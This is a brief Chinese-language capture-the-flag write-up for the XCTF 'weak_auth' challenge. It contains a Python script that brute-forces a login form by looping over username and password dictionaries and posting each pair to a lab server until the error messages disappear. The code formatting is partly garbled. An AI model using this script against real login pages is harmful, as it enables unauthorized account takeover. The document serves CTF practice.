XCTF-weak_auth
🐍🐍🐍代码🐍🐍🐍
- 用户字典+密码字典,for循环搭配遍历并发包
- 保存返回包的“
.text
”- 检测是否有能判断无Flag的代码,如本案例为“password error”和“please login as admin”
- 和前一个包对比,如果不同则打印 ```python import requests
def ReadDictionary(txtUser, txtPassword): with open(txtUser, encoding=’utf-8’) as f: listUser = f.read().splitlines()
# print(listUser)
with open(txtPassword, encoding='utf-8') as f:
listPassword = f.read().splitlines()
# print(listPassword)
return listUser, listPassword
def BruteForce_UserAndPassword(inputUser, inputPassword): bGet = 0 listResponse = [] for iUser in inputUser: for iPassword in inputPassword: dic2Post = { ‘username’:iUser, ‘password’:iPassword }
# print(dic2Post)
response = requests.post(url, data=dic2Post, timeout=33)
if response.status_code == 200:
textResponse = response.text
# 根据错误的返回包中的提醒字符串
if ((strErr1 not in textResponse) and (strErr2 not in textResponse)):
print("密码为:", dic2Post)
bGet = 1
elif textResponse not in listResponse:
listResponse.append(textResponse)
if bGet == 0:
print("所有返回包:")
print(set(listResponse))
url = r”http://111.200.241.244:63653/check.php“ txtUser = r”User.txt” txtPassword = r”Password.txt” strErr1 = “password error” strErr2 = “please login as admin” if name == ‘main‘: listUser, listPassword = ReadDictionary(txtUser, txtPassword) BruteForce_UserAndPassword(listUser, listPassword) ```